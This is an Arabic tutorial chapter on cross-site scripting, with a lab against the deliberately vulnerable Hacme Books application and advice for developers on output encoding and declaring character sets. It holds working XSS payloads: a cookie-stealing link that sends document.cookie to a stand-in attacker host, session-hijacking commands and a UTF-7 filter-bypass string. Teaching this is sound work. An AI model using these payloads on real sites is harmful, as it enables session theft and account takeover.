الكود العابر للموقع (XSS)

«أقوم بترك قرص مكتوب عليه “المرتبات السرية” وأضعه خلسة على مكتب أحد موظفي البنك»

– من كتاب «فن الخداع» لـكيفين متنك، يشرح فيه كيف كان يقوم بالخداع ليطور عملية الإختراق، فالقرص المذكور كان يحتوي ببساطة على برنامج تجسس (تروجان) برئ المظهر ينتظر من يقوم بتشغيله!

مقدمة

من النادر أن تجد الآن موقعا لا يحتوي على تطبيقات يتم تنفيذها من خلال العميل (المتصفح). فلغات مثل JavaScript تم تصميمها أساسا لتقوم بهذا الغرض، تقديم نوع معين من اللغات البرمجيه التي يقوم المتصفح بترجمة أكوادها وتنفيذها. وهي بالقطع تختلف عن اللغات الأخرى التي يتم تنفيذها من خلال الخادم، مثل التطبيقات المكتوبة بلغات PHP، Java، Perl، Python، .Net، Ruby وحتى C أو C++، فاللغات السابقه يتم تنفيذها من خلال الخادم، بينما لغة JavaScript – وابنة عمها VBScript الأقل انتشارا – هي لغة يتم تنفيذها من خلال العميل.

أسهمت لغة JavaScript في اثراء الويب، من الصور التي يتم تغييرها فور مرور مؤشر الفأرة عليها (Rollover Images) إلى القوائم المنسدله (Floating Menus) وأيضا النوافذ المنبثقة (Pop-up Window) المزعجه أحيانا، والعديد من الإمكانيات الأخرى الأكثر أهميه، مثل مراجعه وفحص مدخلات العميل قبل إرسالها إلى الخادم (Client-Side Validation)، وصولا إلى AJAX (Asynchronous Javascript & XML) الذي تقوم فيه لغة JavaScript بدور أساسي في طلب تطبيقات الخادم بطريقة تفاعلية «غير متزامنة» حيث لا يتحتم على العميل النقر على رابط ما أو الضغط على زر آخر ليبقا الموقع متفاعلا ومحدثا (من هنا جائت كلمة Asynchronous). كل تلك الإمكانيات التفاعليه لم تكن ممكنه إلا عن طريق لغة تعمل من خلال المتصفح، مثل JavaScript.

ولكن، وكما هي العادة دوما، وجد الهاكرز في هذا الضيف الجديد – حينها – الكثير من الإمكانيات الواعدة في مجال الإختراق، والتي لم تكن لتوجد لولا وجود هذا المفهوم الجديد في التفاعل بين الصفحه و المتصفح. إن أسلوب الإختراق هذا قائم على الإمكانيات التي تقدمها لغة JavaScript وقدرتها على التفاعل مع مكونات الصفحه، والعبور بين الموقع الحالي الذي يزوره العميل إلى مواقع أخرى – بعلم أو بدون علم – العميل.

الكود العابر للموقع هو – بشكل عام – تفاعل العميل مع كود الهاكر ضمن الموقع الشرعي، سواءا كان ذلك التفاعل مباشرا – كقيام العميل بالنقر على رابط – أو غير مباشر – كأن يقوم المتصفح بتنفيذ كود JavaScript الذي قام الهاكر بـ«حقنه» من خلال التطبيق الشرعي المهدد، معتقدا أنه كود قادم من الموقع. القيام بخداع العميل ليقوم بزياره موقع آخر غير الموقع الحالي والذي يكون غالبا موقعا يخص الهاكر. ولكي يكون الهجوم ناجحا، على الهاكر أن يبحث عن تطبيق مهدد بثغره الكود العابر للموقع، فاذا وجده، فان كل العملاء الذين يتعاملون مع ذلك الموقع مهددون بتنفيذ ذلك الهجوم عليهم.  وقد يؤدي ذلك إلى سرقه معلومات مهمه تخص العميل – مثل الحلويات – أو معلومات أقل أهميه مثل الصفحات والمواقع السابقه التي قام العميل بزيارتها والتي يحتفظ بها متصفح الويب الخاص بالعميل في قائمه التاريخ (History).

إن كل تطبيق يقوم بـ«عرض » مدخلات العملاء هو تطبيق مرشح لهجوم الكود العابر للموقع. فاذا كان هجوم حقن السيكويل وإغراق العازل بمثابة توجيه الرصاص ضد هدف ما غير منيع (تطبيق مهدد)، فان الكود العابر للموقع لا يتم تنفيذه من خلال التصويب المباشر على ذلك الهدف، بل يتم استغلال ذلك الهدف كأنه «مرآه» تقوم بعكس الرصاص في اتجاه هدف آخر.

إن الكود العابر للموقع قائم على الخداع، خداع المتصفح و/أو العميل (عن طريق تطبيق مهدد في الموقع الذي يثق به المستخدم):

• سوف يخدع المتصفح ويقوم بتنفيذ نص JavaScript قادم من الهاكر على أنه قادم من الموقع الذي يثق به المستخدم
• سوف يخدع المستخدم عن طريق التفاعل مع مكونات الصفحه – مثل صور واستمارات ويب وروابط وخلافه – على أنها قادمه من الموقع الذي يثق به، بينما هي في الحقيقه مكونات قام الهاكر بحقنها في تلك الصفحه

وجد تهديد الكود العابر للموقع منذ نشأه الويب، وفي عام 1999، قام «دافيد روس» بنشر أول تقرير عن الكود العابر للموقع، ومنذ ذلك الحين وحتى لحظه كتابه هذه السطور، فان العديد من المقالات أشارت إلى ذلك التهديد، ومع أن ذلك التهديد قد يعتبره البعض بأنه لا يمثل خطورة مباشره على الموقع وتطبيقاته كتهديد حقن السيكويل، إلا أن مايميز تهديد الكود العابر للموقع هو انتشاره الوبائي في مواقع الويب وقله معرفه المطورين به، وأيضا صعوبة اكتشافه وتتبعه.

ظل هذا النوع من الهجوم بمنئى عن الأضواء حتى ظهر ما يمكن تسميته بأول «دودة» (Worm) – فيروس قادر على نشر نفسه عبر الشبكات دون تدخل بشري – قائمة فقط على الكود العابر للموقع. كان موقع MySpace التابع لـ Google على موعد مع هذا الهجوم في أكتوبر 2005، ففي أقل من 24 ساعة، كان هناك أكثر من مليون عميل من عملاء MySpace مصابون بهذه الدودة. وقد أدى ذلك إلى غلق الموقع ومنع العملاء من استخدامه حتى يقوم المسؤولون عنه بفحص التطبيق المهدد وإصلاحه. وتعد هذه الحادثه أشهر حادثة موثقه لتهديد الكود العابر للموقع.

إن آليه عمل الكود العابر للموقع تختلف جذريا عن آليه عمل هجوم حقن السيكويل، ففي حقن السيكويل، يحاول الهاكر اختراق الموقع بالبحث عن تطبيق مهدد بتنفيذ ذلك النوع من الهجوم، وعندما يكتشف الهاكر ثغره ما تسمح له بتنفيذ ذلك الهجوم، فان الهدف هو الوصول إلى قاعده البيانات الخاصه بالموقع. أما في هجوم الكود العابر للموقع، فان هدف الهاكر ليس الموقع – او قاعده البيانات – في حد ذاته، لكن هدف الهاكر هو استخدام ذلك الموقع كفخ لخداع عملاء ذلك الموقع،  ويتم تنفيذ هجوم الكود العابر للموقع من خلال متصفح الويب الخاص بالعميل. لذا فانه لكي ينجح هذا النوع من الهجوم، لابد من وجود عناصر أساسيه:

• تطبيق مهدد بثغره الكود العابر للموقع
• هاكر يقوم باستغلال تلك الثغره
• عميل يقوم بزياره ذلك التطبيق – مثل أحد عملاء الموقع، أو حتى أحد موظفي الموقع الذي يتابع الموقع دوريا

 وهذا النوع من الهجوم من الممكن ان ينجح في :

• سرقه معلومات الجلسه الخاصه بالعميل (كالكوكيز)
• سرقه المعلومات التي تخص الصفحات والمواقع التي زارها العميل (History)
• إمكانية تسجيل ضربات المفاتيح الخاصة بالعميل (تماما كأي برنامج Key Logger^([1]))
• التسلل إلى شبكه الإنترانت الخاصه بالعميل
• تحويل متصفح العميل إلى زومبي ومن ثم التحكم به
• تشويه الموقع

آليه الهجوم

إن الكود العابر للموقع يتم من خلال ثلاثه مراحل أساسيه:

1. يقوم الهاكر بتنفيذ الكود العابر للموقع من خلال تطبيق مهدد (الشكل كذا)

الشكل  5 يقوم الهاكر بتفعيل الكود العابر للموقع من خلال تطبيق مهدد

وجد الهاكر ثغره في تطبيق المنتديات – Forums – تتيح له تنفيذ هجوم الكود العابر للموقع من خلال ذلك التطبيق

1. قام الهاكر بكتابه مشاركته كأي عميل آخر، إلا أنه قد قام بوضع كود خاص يتم تنفيذه من خلال متصفح الويب الخاص بأي عميل يقوم باستعراض تطبيق المنتديات، وهذه المشاركه، ككل المشاركات الأخرى، يتم تخزينها في قاعده البيانات الخاصه بالموقع والذي يتعامل معها التطبيق (الشكل كذا)، ومن ثم فإن دور الهاكر التفاعلي مع الموقع انتهى هنا، وكل ما عليه الآن أن ينتظر سقوط أحد العملاء في الفخ^([2])

الشكل  6 مشاركه الهاكر التي تحتوي على الكود العابر للموقع (تم حذف جدار النار وخلافه لتبسيط الصوره)

1. يقوم أحد العملاء بزياره ذلك التطبيق المعيب (الشكل كذا) ويتم تنفيذ الكود العابر – خلسة – من خلال الكود الذي قام بوضعه الهاكر آنفا، يقوم متصفح الويب الخاص بنقل معلومات حساسه عن العميل – خلسة أيضا – إلى الهاكر الذي يكون في الإنتظار. كل ما على الهاكر الآن استخدام حلويات العميل الذي سقط في الفخ – دون أن يشعر، وبسبب الموقع الذي يثق به – لينتحل الهاكر صفه العميل ويدخل إلى حسابه الخاص ويمارس كل الفعاليات المخوله للعميل، وذلك دون حتى أن يعرف كلمه السر الخاصه بالعميل، فلديه بديل، الحلويات. ويمكن تقسيم تلك الخطوه الأخيره إلى ثلاثه مراحل متتابعه:

1 – يقوم العميل المشترك في الموقع بزياره الموقع، وقد يقع في الشرك المنصوب له خلسه من الهاكر عن طريق تطبيق المنتديات، ومن الطبيعي أن يسقط العميل في ذلك الفخ، فهو يزور ذلك الموقع المعروف كثيرا، وهو ليس من مواقع الهاكرز التي يتحرز من زيارتها

2 – يقوم التطبيق بعرض المشاركات الخاصه بعملاء الموقع – ومن ضمنهم الهاكر – ويقوم العميل بتصفح المشاركات، ويقوم متصفح الويب بتنفيذ الكود الذي كتبه الهاكر معتقدا أنه آت من موقع يثق به المستخدم

3 – يقوم متصفح الويب آليا بنقل حلويات العميل إلى جهاز الهاكر من خلال عنوان الإنترنت الخاص به – IP Address – ومن ثم يحصل الهاكر على حلويات العميل

وأخيرا، وفي نهايه الهجوم الناجح، يقوم الهاكر بالسطو على حساب العميل ويقوم بزياره الموقع الذي سوف يتعامل معه على أنه العميل الشرعي فلان الفلاني

الشكل  7 الخطوه النهائيه لتنفيذ هجوم الكود العابر للموقع تتم عبر ثلاثة مراحل متلاحقه

ان أحد أوجه خطورة هذا النوع من الهجوم هو قلة اكتراث المتطورين به. فقد يهب المطور مذعورا إذا علم أن الموقع مهدد بحقن السيكويل، لكن عندما تحذره من أنه معرض للكود العابر للموقع، فغالبا ما يكون رد فعله باردا!؟ وقد لاحظت أن بعض المطورين يلقون بعبئ تلك الثغره على العميل!؟ فعندما تحدثهم أن العميل قد يتم السطو على حسابه إذا قام باستعراض التطبيق المهدد أو بالنقر على رابط برئ المظهر من خلال التطبيق المهدد، فإنهم يردون بجرأه يحسدون عليها «إن هذا خطأ العميل من الدرجة الأولى، فهو الذي قام بالنقر على ذلك الرابط، ولسنا مسؤولين عن ذلك». لهذا سوف أحاول في الصفحات التاليه وضع الأمور في نصابها الصحيح…

المعمل

قم بتثبيت Hacme Books، ثم اذهب إلى الموقع على العنوان http://localhost:8989/ وقم باستعراضه والتجول بين تطبيقاته المختلفه لتأخذ فكره جيده عنه (الشكل كذا).

الشكل  8 صفحه Hacme Books الرئيسيه

ان موقع Hacme Books هو موقع تقليدي بسيط – دون إخلال بالهدف الرئيسي، وهو تقديم برنامج معيب يتم من خلاله تدريب المطور على التعرف على المخاطر الأمنيه التي قد توجد في تطبيقات الويب وكيفيه تلافيها – لمكتبه إلكترونيه تقوم بعرض الكتب، وتقدم خدمه التسجيل والبحث وخلافه. تم استخدام لغه Java لكتابه التطبيقات، كما تم استخدام قاعدة البيانات HyperSQL لتخزين بيانات العملاء والكتب وخلافه.

قم بالتسجيل عن طريق رابط التسجيل – Signup – وقم بكتابه بملء الإستماره بالمعلومات المناسبه، ومن ثم قم بالولوج مستخدما الحساب الذي قمت بانشاءه، وقم بنقر الرابط الذي يخص كتاب ما، وقم بكتابه مشاركه تخص ذلك الكتاب (الشكل كذا).

كما ترى، سوف يقوم التطبيق باضافه مشاركاتك كما تم إضافه مشاركات العملاء السابقين، ومن ثم، فان أي عميل سوف ينقر على رابط الكتاب سوف تظهر كل مشاركات العملاء الخاصه بذلك الكتاب^([3]).

الشكل  9 يمكنك إضافه تعليق أو مشاركه بخصوص هذا الكتاب أو ذاك

والآن لنختبر مناعة التطبيق ضد هجوم الكود العابر للموقع. قم بادخال التالي كمشاركه:

Testing xss<script>alert(“xss”)</script>

سوف يقبل منك التطبيق تلك المشاركه ويقوم بتخزينها في قاعده البيانات، ومن ثم يقوم بنقلك إلى صفحه تعرض قائمه بالكتب التي في الموقع، يمكنك العوده إلى صفحه الكتاب الذي قمت باضافه مشاركتك إليه عن طريق العوده إلى صفحه البدايه، أو عن طريق البحث، أو حتى عن طريق النقر على زر العوده في متصفح الويب خاصتك (الشكل كذا).

الشكل  10 الكود العابر للموقع بعد تنفيذه

لقد قمت توا بتنفيذ هجوم الكود العابر للموقع بنجاح ضد موقع Hacme Books، ولعلك تسأل الآن عن خطورة هذا النوع من الهجوم، مهلا ياصديقي، فان بعض الخيال – الذي يتمتع به الهاكرز بالتأكيد – قادر على إضفاء الكثير من الدم على هذه الرصاصه. ماذا لو قام الهاكر بتطوير أسلوبه؟ قم بكتابه التالي كمشاركه في كتاب ما، وليكن كتاب «Ethereal Packet Sniffing» (يمكنك اختيار أي كتاب آخر، أو حتى الاستمرار في الكتاب الذي قمت باضافة مشاركتك السابقه له، ولكني آثرت أن أقوم بإضافه المشاركه لكتاب جديد منعا للتشويش)

This is a great book, but you can download it from <A HREF=”javascript:document.location=%27http://ha.ck.er.ip/x.cgi?%27+document.cookie”>here</A> for FREE

عندما تستعرض مشاركتك الجديده، ستجد أن هناك رابطا مغري جدا للنقر عليه!^([4])

الشكل  11 المشاركه الجديده عباره عن فخ برئ المظهر لاقتناص عملاء الموقع

والآن انقر على ذلك الرابط، وفورا سوف يتم نقل حلوياتك إلى جهاز الهاكر على عنوان الإنترنت ha.ck.er.ip – طبعا ليس هذا عنوان إنترنت أصلا، ولكنه بغرض الشرح والتوضيح ليس إلا (الشكل كذا).

الشكل  12 الحلويات الخاصه بالمستخدم «testuser»

إذا دققت النظر في اللقطه السابقه، سوف تجد أن الحلويات التي قام موقع Hacme Books بارسالها لك – بعد عمليه التحقق من الهويه – قد انتقلت إلى جهاز الهاكر!؟ ها هو اسم المستخدم الذي قمت باستخدامه «testuser»، بالإضافه إلى معرف الجلسه الذي يستخدمه تطبيق الموقع.

ماذا؟ أكاد أسمع البعض يتسائلون عن خطوره كل هذا؟ ماذا بعد حصول الهاكر على حلويات أحد العملاء؟ لهؤلاء أقول جربوا الخطوات التاليه في خانه عنوان – Address Bar – متصفح الويب:

javascript:document.cookie=’username=testuser’ <ENTER>

javascript:document.cookie=’JSESSIONID=A050F42717D42FED400893C73D7741DA’ <ENTER>

عند اتمام تلك الخطوتين سوف تقوم بالسطو على حساب العميل «testuser»!! يمكنك تجربه ذلك بنفسك ^([5])

ما هي السيناريوهات المحتمله لتنفيذ هجوم الكود العابر للموقع؟ هذا سؤال جيد جدا، إلا أنه من الصعب إحصاء عدد السيناريوهات المحتمله، لذا سوف أختار أكثرها قبحا وشراسه:

• سرقه الحلويات الخاصه بمستخدم له صلاحيات نافذه، كمدير الموقع أو أي شخص آخر له علاقه بإدارة الموقع
• من الممكن أن يحصل الهاكر على قائمه بالصفحات والمواقع التي قام العميل بزيارتها
• تسجيل ضربات لوحه المفاتيح (Key Logging)
• التحكم بمتصفح العميل وتحويله إلى « زومبي» ^([6])
• تشويه الموقع، فمن الممكن استخدام هجوم الكود العابر للموقع في تشويه الموقع تماما، وقد يسهم هذا في تشويه سمعه الموقع، أو على الأقل سرقه بيانات أخرى من عملاء الموقع ^([7]) (الشكل كذا).
• الشكل  13 مثال يوضع قدره الكود العابر للموقع على تسهيل عمليه الإحتيال على العملاء وأيضا القدره على تشويه الموقع

أنواع الكود العابر للموقع

• النوع الثابت (Persistent)

في هذا النوع يتم تخزين الكود العابر للموقع بواسطه مصادر الخادم، مثل قاعدة البيانات (والمثال الذي قمنا بشرحه مسبقا هو من هذا النوع، فقد تم تخزين المشاركه المفعمه بالكود العابر للموقع في قاعدة البيانات التي يستخدمها تطبيق. Hacme Books)

• النوع الغير ثابت (Non-Persistent)

ويسمى أحيانا بالمنعكس (Reflected) وذلك لأنه لا يتم تخزينه، و أوضح مثال لهذا النوع هو استخدام تطبيق البحث المهدد بالكود العابر للموقع في التنفيذ. على سبيل المثال، لنفترض أن تطبيق البحث search.asp مهدد بالكود العابر للموقع، بالطبع إن الكلمات المفتاحيه لا يتم تخزينها – عادة – ومن ثم عرضها لاحقا للعملاء – عادة أيضا. لذا فان الهاكر سوف يستخدم ذلك التطبيق في تنفيذ الكود العابر للموقع ضد عملاء ذلك الموقع. أحد السيناريوهات قد تكون كالتالي:

1. يقوم الهاكر بصنع رابط كالتالي:

http://somesite/search.asp?keyword=<script>alert(‘xss’)</script>

1. يقوم بارساله إلى العميل – عن طريق البريد الإلكتروني أو أي طريق  آخر
2. يقوم العميل بالنقر على ذلك الرابط^([8])
3. ينتقل العميل إلى التطبيق search.asp ويتم تنفيذ الكود العابر للموقع

• النوع المعتمد على DOM^([9]) (Document Object Model)

في هذا النوع يتم حقن المتغير الذي يعتمد عليه الـ DOM بالكود العابر للموقع، وبالتالي فان المكون الذي يعتمد على ذلك المتغير لعرض مكونات الصفحه سوف يصاب أيضا. وقد يستغل الهاكر تطبيق مهدد بالكود العابر للموقع – من النوع DOM – في إغراء العميل للنقر على رابط يحتوي على الكود العابر للموقع وبالتالي يتم تنفيذه من خلال ذلك التطبيق. ينتشر هذا النوع من الكود العابر للموقع في تطبيقات «AJAX»، حيث أنها تعتمد كثيرا على «DOM» (سوف نقوم لاحقا بالتحدث عن تطبيقات AJAX في فصل خاص)

في النهايه، علي أن أوضح أن الكود العابر للموقع يظل هو الكود العابر للموقع، مهما اختلفت أنواعه، سواءا كان بنكه النعناع أو الرمان!

الحل والتدابير المضاده (دور المطور)

ثغرة الكود العابر للموقع ناشئة عن الإفراط في الثقة في مدخلات العميل. عليك دوما أن تسأل «هل تم التأكد من البيانات المدخلة؟». إن قائمة المدخلات – بالنسبة إلى تطبيقات الويب – تتجاوز بمراحل استمارات الويب، فبالإضافة إليها، هناك توجيهات بروتوكول نقل النص الفائق، و متغيرات الإستعلام «Query String»، والحلويات، وغيرها. لهذا عليك أن تتحقق من كل المدخلات التي يتعامل معها التطبيق.

هناك عدة تدابير على المطور اتباعها لتجنب تهديد الكود العابر للموقع :

• « الترميز» وهو الخطوه الأساسيه التي لا غنى عنها مطلقا
• تحديد ترميز المخرجات (Output Encoding)
• استخدام «HttpOnly» للمزيد من الحمايه
• التحقق من ملائمة المدخلات

الترميز (Encoding)

إن نزع أنياب الكود العابر للموقع يتلخص في كلمة واحده، «الترميز». ترميز المعلومات التي يتم إدخالها بواسطه العميل، وترميزها – مرة أخرى -  عندما يتم عرضها للعميل. وقد يجد أحدهم أن كاتب هذه السطور مصاب بعقده الإضطهاد من نوع متقدم! فما الداعي لترميز المعلومات حين يتم عرضها للعميل وقد قمنا بترميزها عند إدخالها؟

الإجابه تتلخص في النقط التاليه:

• وضع أكبر عدد ممكن من الخنادق الأمنيه هو أسلوب جيد واستراتيجيه أمنيه مهمه ويجب اتباعها
• إنك لا تضمن البيانات المخزنه في قاعدة البيانات، فاذا نجح الهاكر في الوصول إلى قاعدة البيانات واستطاع – بطريقة ما أو بأخرى – أن يتلاعب في البيانات المخزنه بحيث تحتوي على كود عابر للموقع، لذا فإن الحل الأمثل هو إعادة ترميز البيانات – مرة أخرى – قبل عرضها للعميل، وبالتالي نقوم بعمليه الترميز في اتجاهين، من وإلى العميل.

وقبل أن نشرح كيف نقوم الترميز، علينا أولا أن نشرح ماهو الترميز.

عملية الترميز هي عملية «تبديل» لحروف ما بحيث تكون الحروف لها نفس الشكل ولكن لا يكون لها دورا في عملية «إخراج» الصفحة (Rendering). إن إحدى مهام المتصفح هي عملية الإخراج، فبعد أن يقوم المتصفح باحضار صفحة ما، يقوم المتصفح بقراءة وترجمة فقرات لغة HTML وخلافه – JavaScript و CSS وغيرهما – ومن ثم يقوم بتشكيلها على الشاشة. لهذا فلو فتحت صفحة HTML من خلال برنامج نص بسيط – مثل «Notepad» – فانك سوف ترى فقرات الـ HTML المعروفه، بينما لو فتحت الصفحه باستخدام المتصفح فسوف يقوم بتشكيل الصفحه وفق أوامر وفقرات الـ HTML. ببساطه لأن «Notepad» لا يمتلك «محرك تشكيل» (Render Engine) بينما لابد لكل متصفح أن يحتوي على مثل هذا المحرك.

عملية الترميز لا تستهدف كل الحروف التي قام العميل بادخالها، لكنها تستهدف فقط تلك الحروف الخاصة التي تؤثر في بناء الصفحه، مثل الحروف <، >، ‘، ” و & وتقوم بترميزها بما يكافئها من الحروف التي تماثلها في الشكل ولكن دون أن يكون لها معنى خاص، وبالتالي تفقد تلك الحروف خصوصيتها التشكيلية وقدرتها على التحكم في شكل الصفحه وتتحول إلى مجرد حروف عاديه كحروف abc.

الجدول التالي يوضح بعض تلك الحروف الخاصه وكيفيه ترميزها وفق أنظمة الترميز المختلفه (الجدول كذا)

الحرف الأصلي	الترقيم السداسي عشر (Hex)	رقم الـ HTML (أو الترقيم العشري Decimal)	اسم الـ HTML	رمز الـ Unicode
<	&#X3C	<	&lt;	\u003c
>	&#X3E	>	&gt;	\u003e
‘	&#X27	‘		\u0027
“	&#X22	“	&quote;	\u0022
&	&#X26	&	&amp;	\u0026
طرق الترميز المختلفة للحرف الواحد

كما ترى، هناك عدة طرق لـ «التعبير» عن نفس الحرف. فالحرف «<» – على سبيل المثال – يمكنك التعبير عنه بالرمز «&#X3C» بالنظام السداسي عشر، وأيضا بالرمز «&lt;» باسم الـ HTML الخاص به، وهكذا. إن هذا يصعب المشكلة ويزيد من مراوغة الكود العابر للموقع، وسوف أضرب مثلا للتوضيح.

لنفترض أنك قمت بكتابة كود مفصل – دون الاستعانة بمكتبة أو دالة ما (Function) كما سوف نشرح لاحقا – لترميز الحرف «<» ليكون «&lt;» والحرف «>» ليصبح «&gt;» كالتالي (Pseudo Code):

UserInput.Replace(‘<’,'&lt;’);

UserInput.Replace(‘>’,'&gt;’);

والآن إذا قام العميل بادخال  «<b>some text</b>» فانها سوف تصبح «&lt;b&gt;some text&lt;/b&gt;». لكن ماذا إذا قام الهاكر بادخال «<b>some text</b>»؟ إن الكود السابق سوف «يتملص» من عملية الترشيح السابق – والضعيفه – وسوف يتم تنفيذه بنجاح. لماذا؟ السبب بسيط، وهو أنه سوف يفشل في العثور على الحروف المطلوب استبدالها وهو ما سوف يتسبب بمشكلة كبيرة في مرحلة إخراج الصفحة، حيث سوف يقوم المتصفح بتفسير تلك الحروف على أنها فقرات HTML أو JavaScript – إذا ما قام الهاكر في المثال السابق بحقن كود JavaScript بدلا من HTML – قادمة من الموقع الذي يثق به العميل ومن ثم سوف يتم تنفيذ الكود العابر للموقع.

قبل أن تقوم بعمليه الترميز الذي سوف تقوم به لكل حرف من تلك الحروف، عليك أن تحدد أولا الوسط الذي سوف يوضع فيه الأحرف والنصوص النهائيه التي قمت توا بترميزها، كالتالي:

• إذا كانت البيانات التي تود ترميزها سيتم استخدامها في إنشاء وصله رابط – Hyper Link – فان الترميز الواجب اتباعه هو الترميز السداسي عشر (Hexadecimal).
• أما إذا كانت البيانات التي تود ترميزها سوف يتم عرضها من خلال صفحه الويب، فان الترميز الواجب اتباعه هو ترميز الـ HTML، سواءا كان ترميز الأرقام، أو ترميز الأسماء، ولكن ضع في اعتبارك أن كل حرف من حروف جدول آسكي (ASCII Table) له رمز رقمي في جدول الـ HTML، ولكن ليس كل حرف من حروف جدول آسكي له رمز اسمي في جدول الـ HTML (راجع الجدول كذا)

الشكل  14 تم تحييد خطوره الكود العابر للموقع عندما تم ترميزه (على اليمين) بينما مازال يمثل تهديدا بدون ترميز(على اليسار)

هناك اتجاهين يمكن للمطور استعمالهما لترميز البيانات:

• أن يقوم المطور بانشاء كود مفصل يقوم بالترميز بناءا على احتياجاته الخاصه
• أو أن يقوم المطور باستخدام كود جاهز – مكتبه مثلا – تقوم بعمليه الترميز نيابه عنه

وينصح باستخدام المكتبات الجاهزه بدلا من الكود المفصل، حيث أن تلك المكتبات يتم تطويرها عن طريق جهات معتمده – مثل مايكروسوفت وأوراكل وغيرهما – ويتم مراجعتها آلاف المرات قبل دخولها مرحله الإنتاج وتقديمها للمطورين.

إن كل اللغات تحتوي على دوال وظائفيه – ضمنية داخل المكتبات الملحقه باللغه أو عن طريق مكتبات إضافيه – تسهل عمليه تعقيم البيانات وفقا لأوامر وتعليمات المطور:

• لغة PHP

يمكنك استخدام المصفاه «FILTER_SANITIZE_SPECIAL_CHARACTERS» لترميز^([10])فقرات لغة النص الفائق – HTML Tags، وهكذا …

• لغة ASP.Net

مع أن هناك داله ملحقه يمكنك استخدامها هي «HtmlEncode» من مكتبه «HttpUtility»، إلا أنه يفضل إستخدام مكتبه خارجيه قامت مايكروسوفت بتطويرها خصيصا لتصفيه وترميز البيانات وتحصين التطبيق ضد الكود العابر للموقع، ويمكنك تحميل تلك المكتبه «AntiXSSLibrary» من موقع مايكروسوفت، وتداوم مايكروسوفت على تطوير تلك المكتبه، مما يزيد من كفائتها في التعامل الكود العابر للموقع

• لغة Java

إن لغه Java تقدم حلولا كثيره لتلك المشكله، تعتمد تلك الحلول على التكنولوجيا الذي قمت باستخدامها في كتابه التطبيق، و سوف أقتصر هنا على النظام الذي كتب به تطبيق «Hacme Books» وهو نظام JSP أو Java Server Pages.

لعمل تنقيه للبيانات باستخدام JSP، يمكنك ضبط المتغير excapeXml في فقره <c:out> ليحتوي على القيمه true – وهي القيمه الفطريه – وقد قمت باستخدام فقره Struts bean:write لتقوم بتلك العمليه

الكود المهدد (من ملف productDetails.jsp):

<c:forEach var=”feedbackItem” items=”${product.feedback}” >

<tr><td><hr><jsp:getProperty name=”feedbackItem” property=”feedback”/></td></tr>

</c:forEach>

الكود الجديد الآمن^([11]) (المعلم باللون الأصفر)

<c:forEach var=”feedbackItem” items=”${product.feedback}” >

<tr><td><hr><bean:write name=”feedbackItem” property=”feedback” filter=”true” /></td></tr>

</c:forEach>

• لغة Perl

إذا كنت تستخدم وحده CGI.pm، إذا يمكنك إستخدام الداله escapeHTML للترميز كالتالي:

$escaped_string = escapeHTML(“<script>alert(‘xss’)</script>”);

المتغير «$escaped_string» يحتوي الآن على

&lt;script&gt;alert(‘xss’)&lt;/script&gt;

تحديد ترميز المخرجات (Output Encoding)

عندما تقوم بارسال محتوى نصي إلى العميل، عليك بتحديد «مجموعة ترميز الحروف» التي على العميل استخدامها في تحويل رموز الأحرف إلى أشكال تلك الأحرف.

على سبيل المثال، إذا كنت تستعمل «UTF-8» في تطبيق ما، فعليك أن تعلن ذلك بوضوح في التوجيه «Content-Type»، وكذا مع كل مجموعات الترميز الأخرى، مثل «UTF-7» و «EUR-JP» و «ISO 8859-6» وغيرها.

Content-Type: text/html; charset=UTF-8

في السطر السابق، تم إعلان مجموعة الحروف التي سوف يستخدمها العميل في فك ترميز الحروف لتكون «UTF-8». أما إذا كان المطور يستخدم مجموعة الحروف «EUC-JP» – التي تستخدم لترميز وإظهار الحروف اليابانية – فان عليه أن يرسل التالي في توجيه «Content-Type»:

Content-Type: text/html; charset=EUC-JP

وهكذا مع مجموعة الحروف التي تدعم اللغة التي تعرض من خلالها محتوى الموقع (العربية – الإنجليزيه – الفرنسيه – إلخ).

إن بروتوكول نقل النص الفائق – طلب التعليق (RFC) رقم 2616، القسم 3.7.1 – يفضل استخدام مجموعة الحروف «ISO-8859-1» ^([12]) كمجموعة الحروف الفطرية وذلك في حالة عدم وجود المتغير «charset» في توجيه «Content-Type». في الواقع، هذا التفضيل ليس له فائدة تذكر، فبعض الخوادم لا تسمح بارسال المتغير «charset» والبعض الآخر لم يتم توصيفه بحيث يقوم بارسال هذا المتغير.

من أجل التغلب على هذه المشكلة، يمكن لملفات الـHTML – وبطبيعة الحال تطبيقات الويب – تحديد مجموعة الحروف التي سوف تستخدم في الترميز عن طريق الفقرة (Tag) «META». ويفضل وضع تلك الفقرة ضمن الفقرة «HEAD». على سبيل المثال، لارسال ملف HTML وتحديد مجموعة الحروف لتكون «UTF-8»، عليك بضبط الفقرة «META» كالتالي:

      <meta http-equiv=”Content-Type” content=”text/html; charset=UTF-8″>

إن السطر السابق له نفس فعالية التوجيه «Content-Type» في تحديد مجموعة الحروف المستخدمه في الترميز.

مما يزيد الأمور سوءا، أن الكثير من المتصفحات بها خاصية تحديد نوع الترميز المستخدم – في حالة غياب المتغير «charset» سواءا في توجيه بروتوكول نقل النص الفائق أو في فقرة «meta»، وبالتالي فلا يمكن التحكم بكيفية ترميز المتصفح للمحتوى المرسل. فاذا استخدم الهاكر – مثلا – مجموعة الحروف «UTF-7» في ترميز الكود العابر للموقع، ولم يكن الخادم يحدد مجموعة الحروف، فان المتصفح قد يفسر ذلك أن المحتوى يستخدم مجموعة الحروف «UTF-7»، وبالتالي سوف يستخدم تلك المجموعة في ترميز المحتوى، وبالتالي يتم تنفيذ هجوم الكود العابر للموقع.

على سبيل المثال، إذا كنت تقوم بعملية ترميز للحروف «< و >» بحيث تصبح «&lt; و &gt;» على التوالي، وكنت لا تقوم بتحديد مجموعة الحروف المستخدمة في الترميز – عن طريق الوسيلتين المذكروتين آنفا – فقد تنجح في تصفية هذين الحرفين إذا قام الهاكر بادخالهما كالتالي:

<script>alert(document.cookie)</script>

لكن ماذا إذا قام الهاكر باستخدام مجموعة حروف أخرى، كمجموعة «UTF-7» في ترميز السطر السابق؟ ساعتها سوف يصبح السطر السابق كالتالي:

+ADw-script+AD4-alert(document.cookie)+ADw-/script+AD4-

لاحظ الفرق، لا يوجد الحرفين «< أو >» وبالتالي لن يقوم التطبيق باعادة ترميزهما إلى «&lt; و &gt;»، ومن ثم سوف يتم تمرير الكود السابق تحت أنف كود الترميز.

